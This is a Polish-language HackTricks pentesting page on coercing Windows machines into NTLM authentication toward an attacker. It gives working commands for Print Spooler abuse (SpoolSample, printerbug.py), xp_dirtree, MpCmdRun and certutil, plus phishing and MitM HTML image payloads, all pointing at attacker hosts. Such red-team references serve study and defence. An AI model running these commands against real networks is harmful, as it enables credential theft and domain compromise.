hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

7.5 KiB

Wymuszenie uprzywilejowanej autoryzacji NTLM

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

SharpSystemTriggers

SharpSystemTriggers to zbiór wyzwalaczy zdalnej autoryzacji napisanych w C# przy użyciu kompilatora MIDL, aby uniknąć zależności od stron trzecich.

Nadużycie usługi Spooler

Jeśli usługa Print Spooler jest włączona, możesz użyć niektórych już znanych poświadczeń AD, aby zażądać od serwera drukarek kontrolera domeny aktualizacji dotyczącej nowych zadań drukowania i po prostu powiedzieć mu, aby wysłał powiadomienie do jakiegoś systemu.
Zauważ, że gdy drukarka wysyła powiadomienie do dowolnych systemów, musi uwierzytelnić się w tym systemie. Dlatego atakujący może sprawić, że usługa Print Spooler uwierzytelni się w dowolnym systemie, a usługa użyje konta komputera w tej autoryzacji.

Znajdowanie serwerów Windows w domenie

Używając PowerShell, uzyskaj listę komputerów z systemem Windows. Serwery są zazwyczaj priorytetowe, więc skupmy się na nich:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Finding Spooler services listening

Używając nieco zmodyfikowanego @mysmartlogin (Vincent Le Toux) SpoolerScanner, sprawdź, czy usługa Spooler nasłuchuje:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Możesz również użyć rpcdump.py na Linuxie i szukać protokołu MS-RPRN.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Poproś usługę o uwierzytelnienie przeciwko dowolnemu hoście

Możesz skompilować SpoolSample stąd.

SpoolSample.exe <TARGET> <RESPONDERIP>

lub użyj 3xocyte's dementor.py lub printerbug.py, jeśli jesteś na Linuxie

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Łączenie z Nieograniczoną Delegacją

Jeśli atakujący już skompromitował komputer z Nieograniczoną Delegacją, atakujący mógłby sprawić, że drukarka uwierzytelni się w tym komputerze. Z powodu nieograniczonej delegacji, TGT konta komputera drukarki będzie zapisane w pamięci komputera z nieograniczoną delegacją. Ponieważ atakujący już skompromitował ten host, będzie w stanie pobrać ten bilet i go wykorzystać (Pass the Ticket).

Wymuszenie uwierzytelnienia RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

Atak PrivExchange jest wynikiem luki znalezionej w funkcji PushSubscription serwera Exchange. Ta funkcja pozwala serwerowi Exchange na wymuszenie uwierzytelnienia przez dowolnego użytkownika domeny z skrzynką pocztową do dowolnego hosta dostarczonego przez klienta za pośrednictwem HTTP.

Domyślnie usługa Exchange działa jako SYSTEM i ma nadmierne uprawnienia (konkretnie, ma uprawnienia WriteDacl na domenie przed aktualizacją zbiorczą 2019). Ta luka może być wykorzystana do umożliwienia przekazywania informacji do LDAP i następnie wyodrębnienia bazy danych NTDS domeny. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania się w innych hostach w obrębie domeny. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.

Wewnątrz Windows

Jeśli już jesteś wewnątrz maszyny Windows, możesz wymusić Windows na połączenie z serwerem przy użyciu uprzywilejowanych kont za pomocą:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Lub użyj tej innej techniki: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Możliwe jest użycie certutil.exe lolbin (podpisany przez Microsoft) do wymuszenia uwierzytelniania NTLM:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

If you know the email address of the user that logs inside a machine you want to compromise, you could just send him an email with a 1x1 image such as

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

i kiedy to otworzy, spróbuje się uwierzytelnić.

MitM

Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie wizualizował, możesz spróbować wstrzyknąć obrazek taki jak poniżej na stronę:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Łamanie NTLMv1

Jeśli możesz przechwycić wyzwania NTLMv1, przeczytaj tutaj, jak je złamać.
Pamiętaj, że aby złamać NTLMv1, musisz ustawić wyzwanie Respondera na "1122334455667788"

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}